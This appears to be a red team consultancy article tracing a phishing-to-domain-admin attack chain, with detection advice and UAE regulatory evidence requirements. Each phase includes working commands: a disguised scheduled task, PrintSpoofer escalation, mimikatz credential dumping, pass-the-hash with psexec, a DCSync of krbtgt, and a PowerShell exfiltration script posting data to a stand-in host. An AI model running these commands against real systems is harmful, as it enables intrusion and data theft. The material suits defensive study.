One click to domain admin: a full red team chain

Phishing foothold: the link that delivers the loader

The chain starts with a single email. A spearphishing link, described in MITRE ATT&CK T1566.002, targets one employee whose role and email address are reachable from open sources: a finance officer listed in a supplier directory, a network engineer whose profile names the company firewall. The pretext fits the role. The link resolves to a server the operator controls, and the page delivers a small loader through a browser download prompt or an Office document that asks to enable content.

The loader's only job on first execution is to contact a command-and-control server over HTTPS on port 443. It sends a short check-in with the host name, the current username and a session identifier, then waits for instructions. The beacon interval is set to four to eight minutes by default, long enough to blend with normal browser traffic on the same port. Before the email is sent, a social engineering operator maps the target's email gateway and proxy rules: the most effective delivery vector is the most permissive one, chosen after reviewing what the security stack is configured to allow.

POST /api/v2/update HTTP/1.1
Host: cdn-updates.example.net
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

{"id":"a3f9c1b2","h":"WKSTN-042","u":"jsmith","os":"10.0.19044"}

HTTP/1.1 200 OK
Content-Type: application/octet-stream

{"sleep":480,"jitter":60}

Persistence and C2 stability: surviving reboot without noise

After the first check-in, the operator pushes a persistence instruction. A scheduled task set to run at user login requires no elevated rights to create, runs under the user context already established, and survives a reboot without leaving a service entry in the registry that an audit of installed services would flag. The task is named to match legitimate software update tasks on the same host, and the executable is placed in a user-writable path under AppData so it does not appear in the program files directories that endpoint inventory tools typically scan.

The beacon's HTTPS profile matters as much as the persistence mechanism. Many enterprise proxies perform TLS inspection, and a certificate from an untrusted authority will fail inspection or generate an alert. Operators use a fresh domain with a certificate from a widely trusted public CA, registered at least 30 days before the engagement so domain-reputation checks do not flag it as newly registered. The beacon connects back on MITRE ATT&CK tactic TA0011 for Command and Control. Detecting it requires a proxy that records full connection logs and a SIEM rule correlating regular contact intervals to an external IP across multiple days.

schtasks /create /tn "MicrosoftEdgeUpdateTaskUser" /tr "C:\\Users\\jsmith\\AppData\\Roaming\\update.exe" /sc onlogon /ru jsmith /f

SUCCESS: The scheduled task "MicrosoftEdgeUpdateTaskUser" has successfully been created.

Privilege escalation to SYSTEM: PrintSpoofer on Windows Server 2016 and 2019

The foothold runs with standard user rights. The operator moves to SYSTEM before touching credentials, because SYSTEM access is what makes LSASS memory harvesting reliable: an ordinary user process cannot open a full-access handle to the LSASS address space, but a SYSTEM-context process can. The technique is PrintSpoofer, a named-pipe impersonation exploit that abuses the Windows SeImpersonatePrivilege. PrintSpoofer targets Windows Server 2016 and Windows Server 2019, and Windows 10 builds from 1607 through 21H2 that have not received the January 2022 or later cumulative update. Where the Print Spooler service is disabled, Juicy Potato or Potato2 can be substituted via a COM server path, targeting the same SeImpersonatePrivilege on the same build range.

The exploit creates a named pipe server and coerces the Print Spooler service into authenticating to it using a SYSTEM-level token. PrintSpoofer captures that token with ImpersonateNamedPipeClient() and uses it to spawn a child process under the SYSTEM context. The sequence completes in under two seconds with no network traffic, so a network-only monitoring stack cannot observe it. Privilege escalation under MITRE ATT&CK tactic TA0004 is reliably available because service accounts running IIS application pools and SQL Server instances are granted SeImpersonatePrivilege by default. The hardening response is to audit which accounts hold the privilege with whoami /priv and remove it from every account that does not strictly require it.

C:\\Temp\\PrintSpoofer64.exe -i -c cmd

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

C:\Windows\system32>whoami
nt authority\system

Credential access and lateral movement: memory to the next host

From SYSTEM on the initial workstation, the operator reads LSASS process memory to harvest credential material. The Windows Local Security Authority Subsystem Service holds NTLM hashes, Kerberos ticket-granting tickets and, in some configurations, cleartext passwords retained by the WDigest provider. A SYSTEM-context process can open a full-access handle to LSASS and read its virtual memory pages without writing anything to disk if the extraction happens entirely in memory, which keeps the artefact count low and reduces the probability that a file-based DLP rule fires on the host.

The harvested NTLM hash does not need to be cracked. Pass-the-hash authentication sends the hash directly in the NTLM exchange: the protocol derives its challenge-response from the hash itself, so presenting the hash is equivalent to knowing the password. The operator queries Active Directory for group memberships of the harvested accounts to map which hosts each one can reach, then attempts connections to administrative shares on each candidate. The article on tripwires a red team should hit explains how honey accounts in privileged groups and canary files in high-value shares interrupt the discovery loop before the operator maps a path to the crown jewel.

mimikatz # sekurlsa::logonpasswords

User Name  : svc-backup
Domain     : CORP
Logon Server: DC01
  * NTLM   : 8846f7eaee8fb117ad06bdd830b7586c
  * SHA1   : da39a3ee5e6b4b0d3255bfef95601890afd80709

impacket-psexec corp/[email protected] -hashes :8846f7eaee8fb117ad06bdd830b7586c

[*] Found writable share ADMIN$
[*] Uploading file XqRtbPwZ.exe
[*] Starting service XqRt.....
C:\Windows\system32>

Domain controller compromise: the path to the crown jewel

Reaching the domain controller is the stated objective in most red team engagements. The path there is usually short once the operator holds a domain account with local administrative rights on a machine that the DC trusts for authenticated communication. Active Directory group memberships, service principal names and the network topology are the map; the credentials harvested in the previous phase are the keys. What takes time is tracing the right account and path, not executing the final step: an administrative share connection followed by a service or task pushed to the DC is the standard mechanism once a suitable account is in hand.

Once on the domain controller with SYSTEM access, the operator runs DCSync. DCSync simulates the directory replication protocol by sending DRS Remote Protocol requests asking for replication data for specific accounts. With an account holding the DS-Replication-Get-Changes-All right, the DC responds with the NTLM hash and Kerberos keys for every requested account. Requesting the krbtgt account returns the secret key that signs all Kerberos tickets in the domain: an operator holding it can forge a ticket for any account with any group membership, valid for up to ten years. In an assumed-breach exercise, the In phase is skipped but DCSync runs identically, and the evidence chain in the report looks the same regardless of how the domain controller was reached.

impacket-secretsdump corp/[email protected] -hashes :8846f7eaee8fb117ad06bdd830b7586c -just-dc-user krbtgt

[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c18b8d1d26a799e6a60681d67b428b4b:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:7a9c5f8e2b1d4e3a0c6f9b2d5e8f1a4c...

Exfiltration: data out at a rate nobody flags

Exfiltration uses the same HTTPS channel established in the first phase. The operator stages the target data at a local path, compresses it with a password, and sends it in fixed-size segments at the beacon interval rather than as a single bulk transfer. A large transfer over ten minutes saturates most proxy anomaly thresholds; the same data sent in 50 KB segments every five minutes over several hours stays below the threshold and matches the pattern of normal background application traffic. In a full-chain red team the client names a crown jewel before day one, and the operator retrieves a proof of access rather than a full copy.

Exfiltration evidence is what turns a red team report from a technique list into a business case. A finding that shows the domain controller was reached is significant. A finding that shows the named crown jewel was accessed, with a timestamped evidence artefact and the full chain of accounts and hosts traversed, is what a regulator reads and what a board recognises as a material risk. The gap between detection and exfiltration is also where the incident reporting obligation under UAE regulation becomes a compliance consideration: the article on the UAE incident reporting clock and red team detections covers what to settle before the engagement starts.

# Compress the target file
Compress-Archive -Path C:\\shares\\finance\\budget_2027.xlsx -DestinationPath $env:TEMP\\t.zip

# Send first 50 KB segment via beacon channel
$b = [IO.File]::ReadAllBytes("$env:TEMP\\t.zip")
Invoke-WebRequest -Uri https://cdn-updates.example.net/api/v2/data -Method POST -Body ([Convert]::ToBase64String($b[0..51199]))

Detection controls summary: what fires at each phase

The chain passes through six distinct detection opportunities, each owned by a different control in a mature security operation: the email gateway, the endpoint agent, the network proxy and NGFW, the SIEM, the identity platform and the domain controller audit log. Missing one layer does not guarantee the chain succeeds if another fires, but each unmonitored layer allows one more phase to progress silently. The testing methodology and evidence collection requirements are defined in NIST SP 800-115, the standard reference UAE regulators accept when assessing engagement documentation.

The table below maps each phase to its primary ATT&CK ID, the specific log source that records it and the signal to write a rule against. These are the controls a purple teaming session would validate after the engagement, running each technique in isolation to confirm the detection rule fires before marking the control effective. The article on what your SOC should catch during a red team engagement expands on the alert priority and rule shapes for each.

Red team chains in Dubai and Abu Dhabi: what each regulator accepts as evidence

In the UAE, four regulatory regimes name security testing as a control requirement. CBUAE governs banks and financial institutions; the Cyber Resilience Regulation asks for objective-based adversarial testing against named critical systems. The evidence artefact CBUAE expects is a report mapping findings to specific attack techniques with the ATT&CK IDs used across the engagement, for example T1566.002 for initial delivery through T1041 for exfiltration, plus an operator log showing which detection controls fired and which did not. A report that lists findings without the detection gap evidence does not satisfy the control evidence requirement. The UAE rules that expect a red team engagement covers the specific articles and what CBUAE requires in writing before an engagement of this type can proceed.

DESC governs Dubai government entities and their direct suppliers. For a full-chain engagement scoped to a Dubai government system, DESC requires a report covering the named objective, the path taken and the ATT&CK technique mapping, plus confirmation that the engagement letter and rules of engagement were signed before testing began. NESA and the Information Assurance Standard apply federally across critical infrastructure operators outside the financial and Dubai government sectors. Abu Dhabi healthcare entities fall under ADHICS, administered by the Department of Health Abu Dhabi, which requires penetration testing evidence covering critical systems; a full-chain red team report mapping the complete phishing-to-domain-admin path satisfies the most demanding interpretation of that requirement. For entities operating in Abu Dhabi free zones, alignment with CBUAE requirements applies to licensed financial firms regardless of emirate.

Frequently asked questions